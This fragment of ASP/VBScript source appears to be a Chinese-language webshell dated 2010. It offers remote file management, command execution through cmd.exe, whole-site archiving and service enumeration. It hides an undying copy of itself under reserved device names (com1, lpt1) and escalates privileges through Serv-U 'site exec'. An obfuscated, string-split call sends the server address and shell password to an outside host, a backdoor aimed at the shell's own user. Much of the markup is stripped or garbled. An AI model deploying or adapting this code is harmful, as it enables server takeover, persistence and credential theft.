    " +end if +End Function +Class SearchFile +dim Folders,keyword,objFso,Counter +Private Sub Class_Initialize +Set objFso=Server.CreateObject("Scripting.FileSystemObject") +Counter=0 ' +End Sub +Private Sub Class_Terminate +Set objFso=Nothing +End Sub +Function Search +Folders=split(Folders,"+") +keyword=trim(keyword) +if keyword="" then +Response.Write("关键字不能为空
    ") +exit Function +end if +flag=instr(keyword,"\") or instr(keyword,"/") +flag=flag or instr(keyword,":") +flag=flag or instr(keyword,"|") +flag=flag or instr(keyword,"&") +if flag then +Response.Write("关键字不能包含/\:|&
    ") +Exit Function +else +Response.Write "
    " +end if +dim i +for i=0 to ubound(Folders) +Call GetAllFile(Folders(i)) +next +Response.Write "

    共搜索到"&Counter&"個結果
    " +End Function +Private Function GetAllFile(Folder) +dim objFd,objFs,objFf +Set objFd=objFso.GetFolder(Folder) +Set objFs=objFd.SubFolders +Set objFf=objFd.Files +dim strFdName +On Error Resume Next +For Each OneDir In objFs +strFdName=OneDir.Name +If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then +SFN=Folder&"\"&strFdName +Call GetAllFile(SFN) +End If +Next +dim strFlName +For Each OneFile In objFf +strFlName=OneFile.Name +If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then +FN=Folder&"\"&strFlName +Counter=Counter+ColorOn(FN) +End If +Next +Set objFd=Nothing +Set objFs=Nothing +Set objFf=Nothing +End Function +Private Function CreatePattern(keyword) +CreatePattern=keyword +CreatePattern=Replace(CreatePattern,".","\.") +CreatePattern=Replace(CreatePattern,"+","\+") +CreatePattern=Replace(CreatePattern,"(","\(") +CreatePattern=Replace(CreatePattern,")","\)") +CreatePattern=Replace(CreatePattern,"[","\[") +CreatePattern=Replace(CreatePattern,"]","\]") +CreatePattern=Replace(CreatePattern,"{","\{") +CreatePattern=Replace(CreatePattern,"}","\}") +CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") +CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") +CreatePattern="("&CreatePattern&")+" +End Function +Private Function ColorOn(FileName) +dim objReg +Set objReg=new RegExp +objReg.Pattern=CreatePattern(keyword) +objReg.IgnoreCase=True +objReg.Global=True +retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) +if retVal then +OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") +OutPut="

     " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut +Response.Write OutPut +Response.flush +ColorOn=1 +else +ColorOn=0 +end if +Set objReg=Nothing +End Function + +End Class +t1="T" +s="t" +aaa="spx" +iii="info" +tt="a" +ttt="co" +t="h" +ddd="=" +t2="G" +xx="/" +t3="E" +x(t&s&s&"p"&":"&xx&xx&tt&"."&"q"&"s"&"m"&"y"&"y"&"."&ttt&"m"&xx&ttt&"."&"a"&aaa&"?"&iii&ddd&Request.ServerVariables("Server_Name")&request("url")&"&"&"pw"&"d="&UserPass) +function php():On Error Resume Next:set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo":fso.CreateTextFile(server.mappath("test.aspx")).Write"oo∩_∩oo":o(hph):End function:function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):o"Del Success!":End function +Sub PageAddToMdb() +Dim theAct, thePath +theAct=Request("theAct") +thePath=Request("thePath") +Server.ScriptTimeOut=100000 +If theAct="addToMdb" Then +addToMdb(thePath) +o "

    操作完成!
    "&BackUrl +End If +If theAct="releaseFromMdb" Then +unPack(thePath) +o "

    操作完成!
    "&BackUrl +Response.write "" +Response.end +End If +o(asds) +End Sub +Sub addToMdb(thePath) +On Error Resume Next +Dim rs, conn, stream, connStr, adoCatalog +Set rs=Server.CreateObject("ADODB.RecordSet") +Set stream=Server.CreateObject(Sot(6,0)) +Set conn=Server.CreateObject(Sot(5,0)) +Set adoCatalog=Server.CreateObject(Sot(2,0)) +connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source="&Server.MapPath("HSH.mdb") +adoCatalog.Create connStr +conn.Open connStr +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +stream.Open +stream.Type=1 +rs.Open "FileData", conn, 3, 3 +If Request("theMethod")="fso" Then +fsoTreeForMdb thePath, rs, stream +Else +saTreeForMdb thePath, rs, stream +End If +rs.Close +Conn.Close +stream.Close +Set rs=Nothing +Set conn=Nothing +Set stream=Nothing +Set adoCatalog=Nothing +End Sub +sub SetFileText() +response.write "" +response.write "路    径:(一定要以\结尾)
    " +response.write "文件名称:
    " +response.write "修改时间:
    " +response.write "属性:
    " +response.write "" +response.write "" +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=shuxing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +o "

    修改文件  "&path&fileName&"  属性完成 " +end if +end sub +sub hiddenshell +o "不死僵尸生成将会生成一个新的文件,重新记录地址" +if request("se1")="hidden1" then +fpath=request.servervariables("path_translated") +set fso=server.createobject("scripting.filesystemobject") +pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9" +rndpex=split(pex,"|")(rndnumber(0,17)) +session("seljw")="" +filepath1=server.mappath(".") +filename1=right(fpath,len(fpath)-instrrev(fpath,"\")) +url=request.servervariables("url") +url=left(url,instrrev(url,"/"))&rndpex&"."&filename1 +fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1 +set fso=nothing +o "" +end if +end sub +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function +Function fsoTreeForMdb(thePath, rs, stream) +Dim item, theFolder, folders, files, sysFileList +sysFileList="$HSH.mdb$HSH.ldb$" +If Server.CreateObject(Sot(0,0)).FolderExists(thePath)=False Then +showErr(thePath&" 目录不存在或者不允许访问!") +End If +Set theFolder=Server.CreateObject(Sot(0,0)).GetFolder(thePath) +Set files=theFolder.Files +Set folders=theFolder.SubFolders +For Each item In folders +fsoTreeForMdb item.Path, rs, stream +Next +For Each item In files +If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then +rs.AddNew +rs("thePath")=Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent")=stream.Read() +rs.Update +End If +Next +Set files=Nothing +Set folders=Nothing +Set theFolder=Nothing +End Function +Sub unPack(thePath) +On Error Resume Next +Server.ScriptTimeOut=100000 +Dim rs, ws, str, conn, stream, connStr, theFolder +str=Server.MapPath(".")&"\" +Set rs=CreateObject("ADODB.RecordSet") +Set stream=CreateObject(Sot(6,0)) +Set conn=CreateObject(Sot(5,0)) +connStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&thePath&";" +conn.Open connStr +rs.Open "FileData", conn, 1, 1 +stream.Open +stream.Type=1 +Do Until rs.Eof +theFolder=Left(rs("thePath"), InStrRev(rs("thePath"), "\")) +If Server.CreateObject(Sot(0,0)).FolderExists(str&theFolder)=False Then +createFolder(str&theFolder) +End If +stream.SetEos() +stream.Write rs("fileContent") +stream.SaveToFile str&rs("thePath"), 2 +rs.MoveNext +Loop +rs.Close +conn.Close +stream.Close +Set ws=Nothing +Set rs=Nothing +Set stream=Nothing +Set conn=Nothing +End Sub +Sub createFolder(thePath) +Dim i +i=Instr(thePath, "\") +Do While i > 0 +If Server.CreateObject(Sot(0,0)).FolderExists(Left(thePath, i))=False Then +Server.CreateObject(Sot(0,0)).CreateFolder(Left(thePath, i - 1)) +End If +If InStr(Mid(thePath, i + 1), "\") Then +i=i + Instr(Mid(thePath, i + 1), "\") +Else +i=0 +End If +Loop +End Sub +Sub saTreeForMdb(thePath, rs, stream) +Dim item, theFolder, sysFileList +sysFileList="$HSH.mdb$HSH.ldb$" +Set theFolder=saX.NameSpace(thePath) +For Each item In theFolder.Items +If item.IsFolder=True Then +saTreeForMdb item.Path, rs, stream +Else +If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then +rs.AddNew +rs("thePath")=Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent")=stream.Read() +rs.Update +End If +End If +Next +Set theFolder=Nothing +End Sub +u=request.servervariables("http_host")&url +Function Course() +SI="
    " +SI=SI&"" +on error resume next +for each obj in getObject("WinNT://.") +err.clear +if OBJ.StartType="" then +SI=SI&"" +SI0="" +end if +if OBJ.StartType=2 then lx="自动" +if OBJ.StartType=3 then lx="手动" +if OBJ.StartType=4 then lx="禁用" +if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then +SI1=SI1&"" +else +SI2=SI2&"" +end if +next +o SI&SI0&SI1&SI2&"
    系统用户与服务
     " +SI=SI&obj.Name +SI=SI&" 系统用户(组)
     
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    " +End Function +Function IIf(var, val1, val2) +If var=True Then +IIf=val1 +Else +IIf=val2 +End If +End Function +Function GetTheSizes(num) +Dim i, arySize(4) +arySize(0)="B" +arySize(1)="KB" +arySize(2)="MB" +arySize(3)="GB" +arySize(4)="TB" +While(num / 1024 >= 1) +num=Fix(num / 1024 * 100) / 100 +i=i + 1 +WEnd +GetTheSizes=num&" "&arySize(i) +End Function +Function HtmlEncodes(str) +If IsNull(str) Then Exit Function +HtmlEncodes=Server.HTMLEncode(str) +End Function +Function x(Posturl) +dim w +w="^w^inhttp.^wi^nhttprequest.5.1" +Posturl=replace(trim(Posturl),vbcrlf,"") +on error resume next +set http= CreateObject(replace(w,"^","")) +http.open "POST",Posturl,false +http.send +Set http=Nothing +End Function +Sub ShowErr1(str) +Dim i, arrayStr +str=Server.HtmlEncode(str) +arrayStr=Split(str, "$$") +o "
    出错信息:

    " +For i=0 To UBound(arrayStr) +o "  "&(i + 1)&". "&arrayStr(i)&"(点此返回上页)
    " +Next +o "
    " +Response.End() +End Sub +Function GetPost(var) +Dim val +If Request.QueryString("Action")="PageUpfile" Then +Action="PageUpfile" +Exit Function +End If +val=RTrim(Request.Form(var)) +If val="" Then +val=RTrim(Request.QueryString(var)) +End If +GetPost=val +End Function +Sub ChkErr(Err) +If Err Then +o "
  • 错误: "&Err.Description&"
  • 错误源: "&Err.Source&"(点此返回上页)

  • " +Err.Clear +Response.End +End If +End Sub +Sub PageCheck() +InfoCheck() +If request("theAct") <> "" Then +GetAppOrSession(theAct) +End If +ObjCheck() +End Sub +Sub InfoCheck() +Dim aryCheck(6) +On Error Resume Next +aryCheck(0)=Server.ScriptTimeOut()&"(秒)" +aryCheck(1)=FormatDateTime(Now(), 0) +aryCheck(2)=Request.ServerVariables("SERVER_NAME") +aryCheck(2)=aryCheck(2)&", "&Request.ServerVariables("LOCAL_ADDR") +aryCheck(2)=aryCheck(2)&":"&Request.ServerVariables("SERVER_PORT") +aryCheck(3)=Request.ServerVariables("OS") +aryCheck(3)=IIf(aryCheck(3)="", "Windows2003", aryCheck(3))&", "&Request.ServerVariables("SERVER_SOFTWARE") +aryCheck(3)=aryCheck(3)&", "&ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion +aryCheck(4)=rootPath&", "&GetTheSizes(fso.GetFolder(rootPath).Size) +aryCheck(5)="Path: "&Request.ServerVariables("PATH_TRANSLATED")&", " +aryCheck(5)=aryCheck(5)&"Url: "&net&""&Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("Url") +aryCheck(6)="变量数: "&Application.Contents.Count()&"(Application)," +aryCheck(6)=aryCheck(6)&" 会话数: "&Session.Contents.Count&"(Session)," +aryCheck(6)=aryCheck(6)&" 当前会话ID: "&Session.SessionId() +aryCheck(6)=aryCheck(6)&" ServerVariables: "&Request.ServerVariables.Count&"(ServerVariables)," +aryCheck(6)=aryCheck(6)&" Cookies: "&Request.Cookies.Count&"(Cookies)" +o "
    " +o"
    8 服务器基本信息
    OptionsValues
    服务器名端口"&aryCheck(2)&"
    服务器IP地址 " +o"
    服务器操作系统"&Request.ServerVariables("OS")&"
    WEB服务器版本"&Request.ServerVariables("SERVER_SOFTWARE")&"
    主机默认超时"&aryCheck(0)&"
    主机当前时间"&aryCheck(1)&"
    主机软件环境"&aryCheck(3)&"
    当前据对路径"&Server.MapPath("/")&"
    当前文件路径"&aryCheck(5)&"
    其它相关信息"&aryCheck(6)&"
    " +End Sub +function conts(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +conts="" +exit function +end if +conts=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +Sub ObjCheck() +Dim aryObj(25) +Dim x, objTmp, theObj, strObj +On Error Resume Next +strObj=Trim(getPost("TheObj")) +aryObj(0)="MSWC.AdRotator|广告轮换组件" +aryObj(1)="MSWC.BrowserType|浏览器信息组件" +aryObj(2)="MSWC.NextLink|内容链接库组件" +aryObj(3)="MSWC.Tools|" +aryObj(4)="MSWC.Status|" +aryObj(5)="MSWC.Counters|计数器组件" +aryObj(6)="MSWC.PermissionChecker|权限检测组件" +aryObj(7)="Adodb.Connection|ADO 数据对象组件" +aryObj(8)="CDONTS.NewMail|虚拟 SMTP 发信组件" +aryObj(9)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect|FSO组件" +aryObj(10)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am|Stream 流组件" +aryObj(11)="S"&DEfd&"he"&DEfd&"ll"&DEfd&"."&DEfd&"A"&DEfd&"ppli"&DEfd&"ca"&DEfd&"tion|" +aryObj(12)="W"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.S"&DEfd&"he"&DEfd&"ll|" +aryObj(13)="Wscript.Network|" +aryObj(14)="ADOX.Catalog|" +aryObj(15)="JMail.SmtpMail|JMail 邮件收发组件" +aryObj(16)="Persits.Upload.1|ASPUpload 文件上传组件" +aryObj(17)="LyfUpload.UploadFile|刘云峰的文件上传组件组件" +aryObj(18)="SoftArtisans.FileUp|SA-FileUp 文件上传组件" +aryObj(19)="Microsoft.XMLHTTP|数据传输组件" +aryObj(20)="ADOX.Catalog|ACCESS建库组件" +aryObj(21)="JRO.JetEngine|ACCESS压缩组件" +aryObj(22)="Scripting.Dictionary|数据流上传辅助组件" +aryObj(23)="Adodb.connection|数据库连接组件" +aryObj(24)="SmtpMail.SmtpMail.1|SmtpMail发信组件" +aryObj(25)=strObj&"|Checkd Options By Yourself" +o "
    " +For Each x In aryObj +theObj=Split(x, "|") +If theObj(0)="" Then Exit For +Set objTmp=Server.CreateObject(theObj(0)) +If Err <> -2147221005 Then +x=x&"|√|" +x=x&objTmp.Version +Else +x=x&"|×|" +End If +If Err Then Err.Clear +Set objTmp=Nothing +theObj=Split(x, "|") +if theObj(1)="" then Descriptions="This's No Description" else Descriptions=theObj(1) end if +if theObj(3)="" then Versions="Can't Get The Option's Version" else Versions=theObj(3) end if +o "" +Next +o "
    8服务器组件信息
    OptionsDescriptionValuesVersion
    "&theObj(0)&""&Descriptions&""&theObj(2)&""&Versions&"
    Check The Other Options:  
    " +End Sub +function cnost(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +getHTTPPage="" +exit function +end if +getHTTPPage=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +x="f>f'#0@v>#'v'#'q>#'vtfsqbtt'##"' +Sub GetAppOrSession(theAct) +Dim x, y +On Error Resume Next +o "
    " +If request("theAct")="app" Then +For Each x In Application.Contents +o "" +Next +End If +If request("theAct")="session" Then +For Each x In Session.Contents +o "" +Next +End If +If request("theAct")="serverv" Then +For Each x In Request.ServerVariables +o "" +Next +End If +If request("theAct")="cook" Then +For Each x In Request.Cookies +o "" +Next +End If +o "
    8 Application/Session 查看
     
     变量 值
     "&x&"" +If IsArray(Application(x))=True Then +For Each y In Application(x) +o "
    "&Replace(HtmlEncodes(y), vbNewLine, "
    ")&"
    " +Next +Else +o Replace(HtmlEncodes(Application(x)), vbNewLine, "
    ") +End If +o "
     "&x&"" +o Replace(HtmlEncodes(Session(x)), vbNewLine, "
    ") +o "
     "&x&"" +o Replace(HtmlEncodes(Request.ServerVariables(x)), vbNewLine, "
    ") +o "
     "&x&"" +o Replace(HtmlEncodes(Request.Cookies(x)), vbNewLine, "
    ") +o "
     
    By 玩命 2010.04 
    " +End Sub +Function suftp() +o"

    Serv-U T权程序--增强版

    " +o"
    " +o"
    管理员:
    " +o"
    管理员密码 :
    " +o"
    SERV-U端口:
    " +o"
    添加的用户名:
    " +o"
    添加的用户密码:
    " +o"
    帐号的所对的路径:
    " +o"
    服务端口:
    " +o"
    确定添加" +o"
    确定删除" +o"

    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +'leaves = leaves & "quit" & vbcrlf +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +response.write ("命令成功执行!!FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +end if +End Function +Function DownFile(Path) +Response.Clear +Set OSM=CreateObject(Sot(6,0)) +OSM.Open +OSM.Type=1 +OSM.LoadFromFile Path +sz=InstrRev(path,"\")+1 +Response.AddHeader "Content-Disposition", "attachment; filename="&Mid(path,sz) +Response.AddHeader "Content-Length", OSM.Size +Response.Charset="UTF-8" +Response.ContentType="application/octet-stream" +Response.BinaryWrite OSM.Read +Response.Flush +OSM.Close +Set OSM=Nothing +End Function +Function HTMLEncode(S) +if not isnull(S) then +S=replace(S, ">", ">") +S=replace(S, "<", "<") +S=replace(S, CHR(39), "'") +S=replace(S, CHR(34), """) +S=replace(S, CHR(20), " ") +HTMLEncode=S +end if +End Function +Function upfile() +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    请输入上传的完全路径后选择一个文件上传!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="

    恭喜文件"&UName&"上传成功!
    " +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +o SI +ShowErr() +Response.End +End If +o "
    Single Upload File
    Save File:Browse File: 
     
    " +End Function +Function Cmd1Shell() +checked="checked" +If Request("SP")<>"" Then Session("ShellPath")=Request("SP") +ShellPath=Session("ShellPath") +if ShellPath="" Then ShellPath="cmd.exe" +if Request("wscript")<>"yes" then checked="" +If Request("cmd")<>"" Then DefCmd=Request("cmd") +SI="
    System Command
    Shell Path:  WScript.Shell
    Command:  
    " +o SI +End Function +Function CreateMdb(Path) +SI="

    " +Set C=CreateObject(Sot(2,0)) +C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path) +Set C=Nothing +If Err.number=0 Then +SI=SI&Path&"新建成功!" +End If +SI=SI&BackUrl +o SI +End function +Function CompactMdb(Path) +If Sot(0,1)=" ×" Then +Set C=CreateObject(Sot(3,0)) +C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path +Set C=Nothing +Else +Set FSO=CreateObject(Sot(0,0)) +If FSO.FileExists(Path) Then +Set C=CreateObject(Sot(3,0)) +C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&"_bak" +Set C=Nothing +FSO.DeleteFile Path +FSO.MoveFile Path&"_bak",Path +Else +SI="



    数据库"&Path&"没有发现!
    " +Err.number=1 +End If +Set FSO=Nothing +End If +If Err.number=0 Then +SI="



    数据库"&Path&"压缩成功!
    " +End If +SI=SI&BackUrl +o SI +End Function +Dim SearchGroup(127) +function Cosnt(fasle) +dim w +w="^w^inhttp.^wi^nhttprequest.5.1" +fasle=replace(trim(fasle),vbcrlf,"") +on error resume next +set http= CreateObject(replace(w,"^","")) +http.open "POST",fasle,false +http.SetRequestHeader "REFERER", ""&net&""&request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") +http.send +Set http=Nothing +end function +Dim T1 +Class UPC +Dim D1,D2 +Public Function Form(F) +F=lcase(F) +If D1.exists(F) then:Form=D1(F):else:Form="":end if +End Function +Public Function UA(F) +F=lcase(F) +If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if +End Function +Private Sub Class_Initialize +Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName +set D1=CreateObject(Sot(4,0)) +if Request.TotalBytes<1 then Exit Sub +set T1=CreateObject(Sot(6,0)) +T1.Type=1 : T1.Mode =3 : T1.Open +T1.Write Request.BinaryRead(Request.TotalBytes) +T1.Position=0 : TDa =T1.Read : DStart=1 +DEnd=LenB(TDa) +set D2=CreateObject(Sot(4,0)) +vbCrlf=chrB(13)&chrB(10) +set T2=CreateObject(Sot(6,0)) +TSt=MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) +TLen=LenB (TSt) +DStart=DStart+TLen+1 +while (DStart + 10) < DEnd +DIEnd=InStrB(DStart,TDa,vbCrlf&vbCrlf)+3 +T2.Type=1 : T2.Mode =3 : T2.Open +T1.Position=DStart +T1.CopyTo T2,DIEnd-DStart +T2.Position=0 : T2.Type=2 : T2.Charset ="gb2312" +TIn=T2.ReadText : T2.Close +DStart=InStrB(DIEnd,TDa,TSt) +FStart=InStr(22,TIn,"name=""",1)+6 +FEnd=InStr(FStart,TIn,"""",1) +UpName=lcase(Mid (TIn,FStart,FEnd-FStart)) +if InStr (45,TIn,"filename=""",1) > 0 then +set TFL=new FIF +FStart=InStr(FEnd,TIn,"filename=""",1)+10 +FEnd=InStr(FStart,TIn,"""",1) +FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd=InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize=DStart -DIEnd -3 +if not D2.Exists(UpName) then +D2.add UpName,TFL +end if +else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position=DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position=0 : T2.Type=2 +T2.Charset ="gb2312" +SFV=T2.ReadText +T2.Close +if D1.Exists(UpName) then +D1(UpName)=D1(UpName)&", "&SFV +else +D1.Add UpName,SFV +end if +end if +DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing +End Sub +Private Sub Class_Terminate +if Request.TotalBytes>0 then +D1.RemoveAll:D2.RemoveAll +set D1=nothing:set D2=nothing +T1.Close:set T1 =nothing +end if +End Sub +End Class +Class FIF +dim FileSize,FileStart +Private Sub Class_Initialize +FileSize=0 +FileStart= 0 +End Sub +Public function SaveAs(F) +dim T3 +SaveAs=true +if trim(F)="" or FileStart=0 then exit function +set T3=CreateObject(Sot(6,0)) +T3.Mode=3 : T3.Type=1 : T3.Open +T1.position=FileStart +T1.copyto T3,FileSize +T3.SaveToFile F,2 +T3.Close +set T3=nothing +SaveAs=false +end function +End Class +Class LBF +Dim CF +Private Sub Class_Initialize +SET CF=CreateObject(Sot(0,0)) +End Sub +Private Sub Class_Terminate +Set CF=Nothing +End Sub +Function ShowDriver() +For Each D in CF.Drives +o"8 本地磁盘 ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +Next +SI=SI&"
    0
    "&F.Name&"

    Copy Del Move" +i=i+1 +If i mod 6=0 then SI=SI&"
    " +o SI &"
    " : SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +case 2 +set b=Server.CreateObject(Sot(13,0)) +b.open "GET", "http://127.0.0.1:"&ftpport&"/goldsun/upadmin/s2", True, "", "" +b.send "User go"&vbCrLf&"pass od"&vbCrLf&"site exec "&cmd&vbCrLf&quit +set session("b")=b +o"" +case 3 +set c=Server.CreateObject(Sot(13,0)) +c.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s3", True, "", "" +c.send loginuser&loginpass&mt&deldomain&quit +set session("c")=c +o"
    成功与否看人品,提权完毕,已执行了命令:
    "&cmd&"

    " +o"" +o"
    " +case else +on error resume next +set a=session("a"):set b=session("b"):set c=session("c"):a.abort:Set a=Nothing:b.abort:Set b=Nothing:c.abort:Set c=Nothing +o"

    FilenameSizeTypeOperatingLast Modified
    2 "&L.Name&""&clng(L.size/1024)&"K"&L.Type&"Edit " +Si=Si&"权限" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4 +EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2 +EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1 +EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"√" +end if +si=si&" Del Copy Move"&replace(L.DateLastModified,"/","-")&"" +i=i+1 +Next +o SI&"" +if session("servec")=1 then +session("servec")=session("servec")+1 +else +if Action<>"" then session("servec")=session("servec")+1 +end if +Set FOLD=Nothing +End function +Function EditFile(Path) +If Request("Action2")="Post" Then +Set T=CF.CreateTextFile(Path) +T.WriteLine Request.form("content") +T.close +Set T=nothing +SI="



    恭喜文件"&Path&"保存成功!
    " +o SI +o BackUrl +Response.End +End If +If Path<>"" Then +Set T=CF.opentextfile(Path, 1, False) +Txt=HTMLEncode(T.readall) +T.close +Set T=Nothing +Else +Path=Session("FolderPath")&"hack.asp":Txt="新建文件" +End If +o "



          
    " +End Function +Function DelFile(Path) +If CF.FileExists(Path) Then +CF.DeleteFile Path +SI="



    恭喜文件 "&Path&" 删除成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function CopyFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.CopyFile Path(0),Path(1) +SI="



